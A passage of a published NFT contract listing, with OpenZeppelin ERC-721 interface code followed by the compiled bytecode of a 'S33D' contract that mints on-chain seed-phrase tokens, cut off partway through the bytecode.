^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); }
0x6080604052600436106102b35760003560e01c806301ffc9a7146102bc57806304a64c25146102f157806306fdde0314610311578063081812fc14610333578063095ea7b3146103605780630acd12c71461038057806318160ddd146103955780631a8bd2da146103b45780631b14d7c2146103c957806322b8d044146103de57806323b872dd146103fe578063248a9ca31461041e57806324ef901e1461043e5780632f2ff15d146104535780632f745c591461047357806336568abe14610493578063379607f5146104b357806337c2372c146104d3578063405fe043146104f357806341d257ef1461050857806342842e0e1461051e578063438b63001461053e57806346de49ed1461056b5780634f6ccce7146105805780635a644426146105a05780636352211e146105b65780636d411668146105d657806370a08231146105f6578063715018a6146106165780637850b87f1461062b5780637e262b351461064b578063819e0b571461066b5780638d859f3e146106815780638da5cb5b1461069c5780638ee0927b146106b157806391418680146106c657806391d14854146106db57806395d89b41146106fb5780639afea3e514610710578063a0712d681461072e578063a217fddf14610741578063a22cb46514610756578063a258375f14610776578063a40a65ab1461078b578063a9fa8dbf146107a0578063b1bbb1d7146107c0578063b88d4fde146107e0578063b993e35e14610800578063c422ddde1461081f578063c50a557c1461083f578063c87b56dd14610861578063cb48d8ee14610881578063cc4081f51461089b578063cd85cdb5146108b1578063d1058e59146108c6578063d547741f146108db578063dfd233dd146108fb578063e985e9c51461091b578063ef8491531461093b578063f2fde38b1461095b578063f6fd8f7c1461097b57005b366102ba57005b005b3480156102c857600080fd5b506102dc6102d7366004613a51565b610991565b60405190151581526020015b60405180910390f35b3480156102fd57600080fd5b506011546102dc9062010000900460ff1681565b34801561031d57600080fd5b506103266109a2565b6040516102e891906140c1565b34801561033f57600080fd5b5061035361034e366004613a17565b610a34565b6040516102e8919061401d565b34801561036c57600080fd5b506102ba61037b36600461389a565b610ac1565b34801561038c57600080fd5b506102ba610bd2565b3480156103a157600080fd5b506008545b6040519081526020016102e8565b3480156103c057600080fd5b506102ba610cc2565b3480156103d557600080fd5b506102ba610d20565b3480156103ea57600080fd5b506103a66103f9366004613a89565b610d48565b34801561040a57600080fd5b506102ba6104193660046137ad565b610d79565b34801561042a57600080fd5b506103a6610439366004613a17565b610daa565b34801561044a57600080fd5b506103a6600a81565b34801561045f57600080fd5b506102ba61046e366004613a2f565b610dbf565b34801561047f57600080fd5b506103a661048e36600461389a565b610ddc565b34801561049f57600080fd5b506102ba6104ae366004613a2f565b610e72565b3480156104bf57600080fd5b506102ba6104ce366004613a17565b610eec565b3480156104df57600080fd5b506102dc6104ee366004613984565b6111dc565b3480156104ff57600080fd5b506103a6600c81565b34801561051457600080fd5b506103a6600d5481565b34801561052a57600080fd5b506102ba6105393660046137ad565b61123d565b34801561054a57600080fd5b5061055e610559366004613761565b611258565b6040516102e8919061407d565b34801561057757600080fd5b506102dc611315565b34801561058c57600080fd5b506103a661059b366004613a17565b6113a2565b3480156105ac57600080fd5b506103a66114d281565b3480156105c257600080fd5b506103536105d1366004613a17565b611443565b3480156105e257600080fd5b506102ba6105f13660046138c3565b6114ba565b34801561060257600080fd5b506103a6610611366004613761565b6115bb565b34801561062257600080fd5b506102ba611642565b34801561063757600080fd5b506102ba61064636600461389a565b61167d565b34801561065757600080fd5b506102ba610666366004613761565b6116e3565b34801561067757600080fd5b506103a6600e5481565b34801561068d57600080fd5b506103a6668e1bc9bf04000081565b3480156106a857600080fd5b5061035361171f565b3480156106bd57600080fd5b506102ba61172e565b3480156106d257600080fd5b50610353611782565b3480156106e757600080fd5b506102dc6106f6366004613a2f565b6117b0565b34801561070757600080fd5b506103266117db565b34801561071c57600080fd5b506014546001600160a01b0316610353565b6102ba61073c366004613a17565b6117ea565b34801561074d57600080fd5b506103a6600081565b34801561076257600080fd5b506102ba610771366004613860565b611a2f565b34801561078257600080fd5b506103a6611af0565b34801561079757600080fd5b506102ba611b00565b3480156107ac57600080fd5b506103266107bb366004613a17565b611b58565b3480156107cc57600080fd5b506102ba6107db366004613a17565b611bf2565b3480156107ec57600080fd5b506102ba6107fb3660046137e8565b611d63565b34801561080c57600080fd5b506011546102dc90610100900460ff1681565b34801561082b57600080fd5b506102ba61083a366004613761565b611d95565b34801561084b57600080fd5b506103a66000805160206143f183398151915281565b34801561086d57600080fd5b5061032661087c366004613a17565b611dd1565b34801561088d57600080fd5b506011546102dc9060ff1681565b3480156108a757600080fd5b506103a660135481565b3480156108bd57600080fd5b506102ba6120e4565b3480156108d257600080fd5b506102ba61213a565b3480156108e757600080fd5b506102ba6108f6366004613a2f565b61235c565b34801561090757600080fd5b506102ba610916366004613761565b612379565b34801561092757600080fd5b506102dc61093636600461377b565b612413565b34801561094757600080fd5b506102dc610956366004613a17565b612441565b34801561096757600080fd5b506102ba610976366004613761565b6124a3565b34801561098757600080fd5b506103a6600f5481565b600061099c82612543565b92915050565b6060600080546109b19061432e565b80601f01602080910402602001604051908101604052809291908181526020018280546109dd9061432e565b8015610a2a5780601f106109ff57610100808354040283529160200191610a2a565b820191906000526020600020905b815481529060010190602001808311610a0d57829003601f168201915b5050505050905090565b6000610a3f82612568565b610aa55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610acc82611443565b9050806001600160a01b0316836001600160a01b03161415610b3a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610a9c565b336001600160a01b0382161480610b565750610b568133612413565b610bc35760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776044820152771b995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b60421b6064820152608401610a9c565b610bcd8383612585565b505050565b6000805160206143f1833981519152610beb81336125f3565b4780610c495760405162461bcd60e51b815260206004820152602760248201527f536565643a20776974686472617720616c6c2063616c6c20776974686f75742060448201526662616c616e636560c81b6064820152608401610a9c565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050610cbe5760405162461bcd60e51b815260206004820152601e60248201527f536565643a204641494c454420776974686472617720616c6c2063616c6c00006044820152606401610a9c565b5050565b6000805160206143f1833981519152610cdb81336125f3565b6011805460ff191690556040517f4edc83796ddd13f7381b8c91ffbca02176782693577083e23486400548aaa8a190610d1590339061401d565b60405180910390a150565b6000805160206143f1833981519152610d3981336125f3565b506011805462ff000019169055565b600081604051602001610d5b9190613c23565b60408051601f19818403018152919052805160209091012092915050565b610d833382612657565b610d9f5760405162461bcd60e51b8152600401610a9c9061419f565b610bcd838383612721565b6000908152600c602052604090206001015490565b610dc882610daa565b610dd281336125f3565b610bcd83836128ba565b6000610de7836115bb565b8210610e495760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610a9c565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6001600160a01b0381163314610ee25760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610a9c565b610cbe8282612940565b601154610100900460ff1615610f145760405162461bcd60e51b8152600401610a9c906141f0565b6002600a541415610f375760405162461bcd60e51b8152600401610a9c90614222565b6002600a556014546040516370a0823160e01b8152829160009182916001600160a01b0316906370a0823190610f7190339060040161401d565b60206040518083038186803b158015610f8957600080fd5b505afa158015610f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc19190613abb565b905060005b8181101561107857601454604051632f745c5960e01b81526000916001600160a01b031690632f745c59906110019033908690600401614064565b60206040518083038186803b15801561101957600080fd5b505afa15801561102d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110519190613abb565b905084811415611065576001935050611078565b508061107081614369565b915050610fc6565b50816110dc5760405162461bcd60e51b815260206004820152602d60248201527f536565643a20474d34323020746f6b656e206973206e6f74206f776e6564206260448201526c3c903a34329039b2b73232b91760991b6064820152608401610a9c565b6000600e54116110fe5760405162461bcd60e51b8152600401610a9c90614126565b60008481526010602052604090205460ff161561116c5760405162461bcd60e51b815260206004820152602660248201527f536565643a20474d34323020746f6b656e2077617320616c72656164792072656044820152651919595b595960d21b6064820152608401610a9c565b6000848152601060205260408120805460ff19166001908117909155600e80549192909161119b9084906142d4565b909155506111aa9050336129a7565b60008051602061441183398151915233856040516111c9929190614064565b60405180910390a150506001600a555050565b6000805b8381101561123057828582600c811061120957634e487b7160e01b600052603260045260246000fd5b6020020151141561121e576001915050611236565b8061122881614369565b9150506111e0565b50600090505b9392505050565b610bcd83838360405180602001604052806000815250611d63565b60606000611265836115bb565b90506000816001600160401b0381111561128f57634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156112b8578160200160208202803683370190505b50905060005b8281101561130d576112d08582610ddc565b8282815181106112f057634e487b7160e01b600052603260045260246000fd5b60209081029190910101528061130581614369565b9150506112be565b509392505050565b6014546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061134a90339060040161401d565b60206040518083038186803b15801561136257600080fd5b505afa158015611376573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139a9190613abb565b151592915050565b60006113ad60085490565b82106114105760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610a9c565b6008828154811061143157634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b03168061099c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610a9c565b6000805160206143f18339815191526114d381336125f3565b60115462010000900460ff1661153b5760405162461bcd60e51b815260206004820152602760248201527f536565643a2063616e6e6f7420616464207365656420776f726473207768656e604482015266081b1bd8dad95960ca1b6064820152608401610a9c565b60005b8251811015610bcd5782818151811061156757634e487b7160e01b600052603260045260246000fd5b602002602001015160126000601354815260200190815260200160002090805190602001906115979291906135f3565b506013546115a6906001614289565b601355806115b381614369565b91505061153e565b60006001600160a01b0382166116265760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610a9c565b506001600160a01b031660009081526003602052604090205490565b3361164b61171f565b6001600160a01b0316146116715760405162461bcd60e51b8152600401610a9c9061416a565b61167b60006129e4565b565b6000805160206143f183398151915261169681336125f3565b81600d546116a491906142d4565b5060005b828110156116dd576001600d546116bf91906142d4565b600d556116cb846129a7565b806116d581614369565b9150506116a8565b50505050565b6000805160206143f18339815191526116fc81336125f3565b50601580546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031690565b6000805160206143f183398151915261174781336125f3565b6011805461ff00191690556040517f8a3f4e54d8cdf3c0e6f0646578db4ba141e67bf902991531b47e6aa4c88480b790610d1590339061401d565b60006000805160206143f183398151915261179d81336125f3565b6015546001600160a01b031691505b5090565b6000918252600c602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600180546109b19061432e565b6002600a54141561180d5760405162461bcd60e51b8152600401610a9c90614222565b6002600a5560115460ff161561185c5760405162461bcd60e51b815260206004820152601460248201527314d959590e881b5a5b9d081a5cc81c185d5cd95960621b6044820152606401610a9c565b600a8111156118be5760405162461bcd60e51b815260206004820152602860248201527f536565643a20596f752063616e206d696e742061206d6178696d756d206f6620604482015267313020536565647360c01b6064820152608401610a9c565b6118cf81668e1bc9bf0400006142b5565b34101561192f5760405162461bcd60e51b815260206004820152602860248201527f53656564733a2045746865722073656e74206973206c657373207468616e2050604482015267524943452a6e756d60c01b6064820152608401610a9c565b600e54600d5461193f9190614289565b61194b906114d26142d4565b81600f546119599190614289565b11156119b25760405162461bcd60e51b815260206004820152602260248201527f536565643a2045786365656473206d6178696d756d20536565647320737570706044820152616c7960f01b6064820152608401610a9c565b333214611a005760405162461bcd60e51b815260206004820152601c60248201527b14d959591cce8818dbdb9d1c9858dd1cc818d85b9b9bdd081b5a5b9d60221b6044820152606401610a9c565b60005b81811015611a2657611a14336129a7565b80611a1e81614369565b915050611a03565b50506001600a55565b6001600160a01b038216331415611a845760405162461bcd60e51b815260206004820152601960248201527822a9219b99189d1030b8383937bb32903a379031b0b63632b960391b6044820152606401610a9c565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b611afd6114d260026142b5565b81565b6000805160206143f1833981519152611b1981336125f3565b6011805461ff0019166101001790556040517f261dbdca66ce7134b6b4a8aaab3f7e9d7e389e31a2bad248611205b4619ec7c790610d1590339061401d565b60126020526000908152604090208054611b719061432e565b80601f0160208091040260200160405190810160405280929190818152602001828054611b9d9061432e565b8015611bea5780601f10611bbf57610100808354040283529160200191611bea565b820191906000526020600020905b815481529060010190602001808311611bcd57829003601f168201915b505050505081565b6000805160206143f1833981519152611c0b81336125f3565b4780611c6c5760405162461bcd60e51b815260206004820152602a60248201527f536565643a20776974686472617720616d6f756e742063616c6c20776974686f60448201526975742062616c616e636560b01b6064820152608401610a9c565b6000611c7884836142d4565b1015611ce45760405162461bcd60e51b815260206004820152603560248201527f536565643a20776974686472617720616d6f756e742063616c6c2077697468206044820152746d6f7265207468616e207468652062616c616e636560581b6064820152608401610a9c565b6015546040516001600160a01b039091169084156108fc029085906000818181858888f19350505050610bcd5760405162461bcd60e51b815260206004820152602160248201527f536565643a204641494c454420776974686472617720616d6f756e742063616c6044820152601b60fa1b6064820152608401610a9c565b611d6d3383612657565b611d895760405162461bcd60e51b8152600401610a9c9061419f565b6116dd84848484612a36565b6000805160206143f1833981519152611dae81336125f3565b50601480546001600160a01b0319166001600160a01b0392909216919091179055565b6060611ddc82612568565b611e395760405162461bcd60e51b815260206004820152602860248201527f53656564733a2063616e6e6f7420646973706c6179206e6f6e206578697374696044820152673733903a37b5b2b760c11b6064820152608401610a9c565b6000611e4483612a69565b90506060611e53600285614384565b60011415611e7b57506040805180820190915260038152621c995960ea1b6020820152611e98565b50604080518082019091526004815263626c756560e01b60208201525b600060405180610100016040528060d3815260200161449160d3913990508082604051602001611ec9929190613b8d565b6040516020818303038152906040529050600082604051602001611eed9190613eb4565b60408051601f198184030181529190529050602860005b600c811015612054576000611f2d83611f1e8460146142b5565b611f289190614289565b612c19565b604051602001611f3d9190613fc4565b604051602081830303815290604052905084818884600c8110611f7057634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611f8793929190613b4a565b60408051601f198184030181529190529450611fa56001600c6142d4565b8214611ff857838783600c8110611fcc57634e487b7160e01b600052603260045260246000fd5b6020020151604051602001611fe2929190613c61565b6040516020818303038152906040529350612041565b838783600c811061201957634e487b7160e01b600052603260045260246000fd5b602002015160405160200161202f929190613cb6565b60405160208183030381529060405293505b508061204c81614369565b915050611f04565b50826040516020016120669190613bf2565b604051602081830303815290604052925060006120b561208589612c19565b61208e86612d32565b856040516020016120a193929190613d0b565b604051602081830303815290604052612d32565b9050806040516020016120c89190613f10565b60408051601f1981840301815291905298975050505050505050565b6000805160206143f18339815191526120fd81336125f3565b6011805460ff191660011790556040517fee9b45d4bbbf616909699035be16f077b7459c8d4db74944d4e27d84f15faf3490610d1590339061401d565b601154610100900460ff16156121625760405162461bcd60e51b8152600401610a9c906141f0565b6002600a5414156121855760405162461bcd60e51b8152600401610a9c90614222565b6002600a55600e546121a95760405162461bcd60e51b8152600401610a9c90614126565b6014546040516370a0823160e01b81526000916001600160a01b0316906370a08231906121da90339060040161401d565b60206040518083038186803b1580156121f257600080fd5b505afa158015612206573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061222a9190613abb565b905060005b81811015611a2657601454604051632f745c5960e01b81526000916001600160a01b031690632f745c599061226a9033908690600401614064565b60206040518083038186803b15801561228257600080fd5b505afa158015612296573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ba9190613abb565b60008181526010602052604090205490915060ff161580156122de57506000600e54115b15612349576000818152601060205260408120805460ff19166001908117909155600e8054919290916123129084906142d4565b909155506123219050336129a7565b6000805160206144118339815191523382604051612340929190614064565b60405180910390a15b508061235481614369565b91505061222f565b61236582610daa565b61236f81336125f3565b610bcd8383612940565b6000805160206143f183398151915261239281336125f3565b600d546000106123f85760405162461bcd60e51b815260206004820152602b60248201527f536565643a206769766561776179206d6f7265207468616e20737570706c792060448201526a1bd9881c995cd95c9d995960aa1b6064820152608401610a9c565b6001600d5461240791906142d4565b600d55610cbe826129a7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b60006101a4821061248d5760405162461bcd60e51b815260206004820152601660248201527514d959590e88151bdad95b881251081a5b9d985b1a5960521b6044820152606401610a9c565b5060009081526010602052604090205460ff1690565b336124ac61171f565b6001600160a01b0316146124d25760405162461bcd60e51b8152600401610a9c9061416a565b6001600160a01b0381166125375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a9c565b612540816129e4565b50565b60006001600160e01b03198216637965db0b60e01b148061099c575061099c82612ea5565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906125ba82611443565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6125fd82826117b0565b610cbe57612615816001600160a01b03166014612eca565b612620836020612eca565b604051602001612631929190613f55565b60408051601f198184030181529082905262461bcd60e51b8252610a9c916004016140c1565b600061266282612568565b6126c35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a9c565b60006126ce83611443565b9050806001600160a01b0316846001600160a01b031614806127095750836001600160a01b03166126fe84610a34565b6001600160a01b0316145b8061271957506127198185612413565b949350505050565b826001600160a01b031661273482611443565b6001600160a01b03161461279c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610a9c565b6001600160a01b0382166127fe5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610a9c565b6128098383836130ab565b612814600082612585565b6001600160a01b038316600090815260036020526040812080546001929061283d9084906142d4565b90915550506001600160a01b038216600090815260036020526040812080546001929061286b908490614289565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03868116918217909255915184939187169160008051602061447183398151915291a4505050565b6128c482826117b0565b610cbe576000828152600c602090815260408083206001600160a01b03851684529091529020805460ff191660011790556128fc3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b61294a82826117b0565b15610cbe576000828152600c602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60006129b260085490565b9050600f5460016129c39190614289565b600f556129d08282613163565b610cbe826129df836001614289565b613163565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612a41848484612721565b612a4d8484848461317d565b6116dd5760405162461bcd60e51b8152600401610a9c906140d4565b612a71613673565b612a79613673565b612a8161369b565b60005b600c811015612c10576000612ac9612a9b83612c19565b612aa488612c19565b604051602001612ab5929190613b1b565b604051602081830303815290604052610d48565b9050600060135482612adb9190614384565b90505b612ae98484836111dc565b15612b1057612af9826001614289565b915060135482612b099190614384565b9050612ade565b808484600c8110612b3157634e487b7160e01b600052603260045260246000fd5b602002018181525050601260008281526020019081526020016000208054612b589061432e565b80601f0160208091040260200160405190810160405280929190818152602001828054612b849061432e565b8015612bd15780601f10612ba657610100808354040283529160200191612bd1565b820191906000526020600020905b815481529060010190602001808311612bb457829003601f168201915b50505050508584600c8110612bf657634e487b7160e01b600052603260045260246000fd5b602002015250819050612c0881614369565b915050612a84565b50909392505050565b606081612c3d5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612c675780612c5181614369565b9150612c609050600a836142a1565b9150612c41565b6000816001600160401b03811115612c8f57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612cb9576020820181803683370190505b5090505b841561271957612cce6001836142d4565b9150612cdb600a86614384565b612ce6906030614289565b60f81b818381518110612d0957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612d2b600a866142a1565b9450612cbd565b805160609080612d52575050604080516020810190915260008152919050565b60006003612d61836002614289565b612d6b91906142a1565b612d769060046142b5565b90506000612d85826020614289565b6001600160401b03811115612daa57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612dd4576020820181803683370190505b5090506000604051806060016040528060408152602001614431604091399050600181016020830160005b86811015612e60576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101612dff565b506003860660018114612e7a5760028114612e8b57612e97565b613d3d60f01b600119830152612e97565b603d60f81b6000198301525b505050918152949350505050565b60006001600160e01b0319821663780e9d6360e01b148061099c575061099c8261328a565b60606000612ed98360026142b5565b612ee4906002614289565b6001600160401b03811115612f0957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612f33576020820181803683370190505b509050600360fc1b81600081518110612f5c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110612f9957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000612fbd8460026142b5565b612fc8906001614289565b90505b600181111561305c576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061300a57634e487b7160e01b600052603260045260246000fd5b1a60f81b82828151811061302e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c9361305581614317565b9050612fcb565b5083156112365760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610a9c565b6001600160a01b0383166131065761310181600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b613129565b816001600160a01b0316836001600160a01b0316146131295761312983826132da565b6001600160a01b03821661314057610bcd81613377565b826001600160a01b0316826001600160a01b031614610bcd57610bcd8282613450565b610cbe828260405180602001604052806000815250613494565b60006001600160a01b0384163b1561327f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906131c1903390899088908890600401614031565b602060405180830381600087803b1580156131db57600080fd5b505af192505050801561320b575060408051601f3d908101601f1916820190925261320891810190613a6d565b60015b613265573d808015613239576040519150601f19603f3d011682016040523d82523d6000602084013e61323e565b606091505b50805161325d5760405162461bcd60e51b8152600401610a9c906140d4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612719565b506001949350505050565b60006001600160e01b031982166380ac58cd60e01b14806132bb57506001600160e01b03198216635b5e139f60e01b145b8061099c57506301ffc9a760e01b6001600160e01b031983161461099c565b600060016132e7846115bb565b6132f191906142d4565b600083815260076020526040902054909150808214613344576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090613389906001906142d4565b600083815260096020526040812054600880549394509092849081106133bf57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600883815481106133ee57634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061343457634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061345b836115bb565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b61349e83836134c7565b6134ab600084848461317d565b610bcd5760405162461bcd60e51b8152600401610a9c906140d4565b6001600160a01b03821661351d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a9c565b61352681612568565b156135725760405162461bcd60e51b815260206004820152601c60248201527b115490cdcc8c4e881d1bdad95b88185b1c9958591e481b5a5b9d195960221b6044820152606401610a9c565b61357e600083836130ab565b6001600160a01b03821660009081526003602052604081208054600192906135a7908490614289565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386169081179091559051839290600080516020614471833981519152908290a45050565b8280546135ff9061432e565b90600052602060002090601f0160209004810192826136215760008555613667565b82601f1061363a57805160ff1916838001178555613667565b82800160010185558215613667579182015b8281111561366757825182559160200191906001019061364c565b506117ac9291506136ba565b604051806101800160405280600c905b60608152602001906001900390816136835790505090565b604051806101800160405280600c906020820280368337509192915050565b5b808211156117ac57600081556001016136bb565b60006001600160401b038311156136e8576136e86143c4565b6136fb601f8401601f1916602001614259565b905082815283838301111561370f57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461373d57600080fd5b919050565b600082601f830112613752578081fd5b611236838335602085016136cf565b600060208284031215613772578081fd5b61123682613726565b6000806040838503121561378d578081fd5b61379683613726565b91506137a460208401613726565b90509250929050565b6000806000606084860312156137c1578081fd5b6137ca84613726565b92506137d860208501613726565b9150604084013590509250925092565b600080600080608085870312156137fd578081fd5b61380685613726565b935061381460208601613726565b92506040850135915060608501356001600160401b03811115613835578182fd5b8501601f81018713613845578182fd5b613854878235602084016136cf565b91505092959194509250565b60008060408385031215613872578182fd5b61387b83613726565b91506020830135801515811461388f578182fd5b809150509250929050565b600080604083850312156138ac578182fd5b6138b583613726565b946020939093013593505050565b600060208083850312156138d5578182fd5b82356001600160401b03808211156138eb578384fd5b818501915085601f8301126138fe578384fd5b813581811115613910576139106143c4565b8060051b61391f858201614259565b8281528581019085870183870188018b1015613939578889fd5b8893505b848410156139765780358681111561395357898afd5b6139618c8a838b0101613742565b8452506001939093019291870191870161393d565b509998505050505050505050565b60008060006101c08486031215613999578283fd5b84601f8501126139a7578283fd5b6040516101808082016001600160401b03811183821017156139cb576139cb6143c4565b60405285018186888311156139de578687fd5b865b600c8110156139ff5781358352602092830192909101906001016139e0565b50929891359750506101a09590950135949350505050565b600060208284031215613a28578081fd5b5035919050565b60008060408385031215613a41578182fd5b823591506137a460208401613726565b600060208284031215613a62578081fd5b8135611236816143da565b600060208284031215613a7e578081fd5b8151611236816143da565b600060208284031215613a9a578081fd5b81356001600160401b03811115613aaf578182fd5b61271984828501613742565b600060208284031215613acc578081fd5b5051919050565b60008151808452613aeb8160208601602086016142eb565b601f01601f19169290920160200192915050565b60008151613b118185602086016142eb565b9290920192915050565b60008351613b2d8184602088016142eb565b835190830190613b418183602088016142eb565b01949350505050565b60008451613b5c8184602089016142eb565b845190830190613b708183602089016142eb565b8451910190613b838183602088016142eb565b0195945050505050565b60008351613b9f8184602088016142eb565b835190830190613bb38183602088016142eb565b7f22202f3e3c7465787420783d2231302220793d2232302220636c6173733d226291019081526430b9b2911f60d91b6020820152602501949350505050565b60008251613c048184602087016142eb565b6c1e17ba32bc3a1f1e17b9bb339f60991b920191825250600d01919050565b60008251613c358184602087016142eb565b796c6f6c615f69735f7468655f706572666563746573745f646f6760301b920191825250601a01919050565b60008351613c738184602088016142eb565b693d913b30b63ab2911d1160b11b9083019081528351613c9a81600a8401602088016142eb565b62089f4b60ea1b600a9290910191820152600d01949350505050565b60008351613cc88184602088016142eb565b693d913b30b63ab2911d1160b11b9083019081528351613cef81600a8401602088016142eb565b62227d5d60e81b600a9290910191820152600d01949350505050565b6f7b226e616d65223a202253333344202360801b81528351600090613d378160108501602089016142eb565b7f222c20226465736372697074696f6e223a202253333344206973206120636f6c6010918401918201527f6c656374696f6e206f662072616e646f6d697a6564207365656420706872617360308201527f65732067656e65726174656420616e642073746f726564206f6e2d636861696e60508201527f2e20533333442063616e206265207573656420666f7220726964646c6573206160708201527f6e642070757a7a6c65732e20596f752063616e2075736520697420666f72206160908201527f6e797468696e6720796f752077616e742e20497427732061207365656420706860b08201527f726173652e20497427732066756e2e222c2022696d616765223a20226461746160d0820152750e9a5b5859d94bdcdd99cade1b5b0ed8985cd94d8d0b60521b60f0820152613eaa613e9d613e97613e7b610106850189613aff565b6f011161130ba3a3934b13aba32b9911d160851b815260100190565b86613aff565b607d60f81b815260010190565b9695505050505050565b605b60f81b81527f7b2274726169745f74797065223a22436f6c6f72222c202276616c7565223a22600182015260008251613ef68160218501602087016142eb565b62089f4b60ea1b6021939091019283015250602401919050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251613f4881601d8501602087016142eb565b91909101601d0192915050565b76020b1b1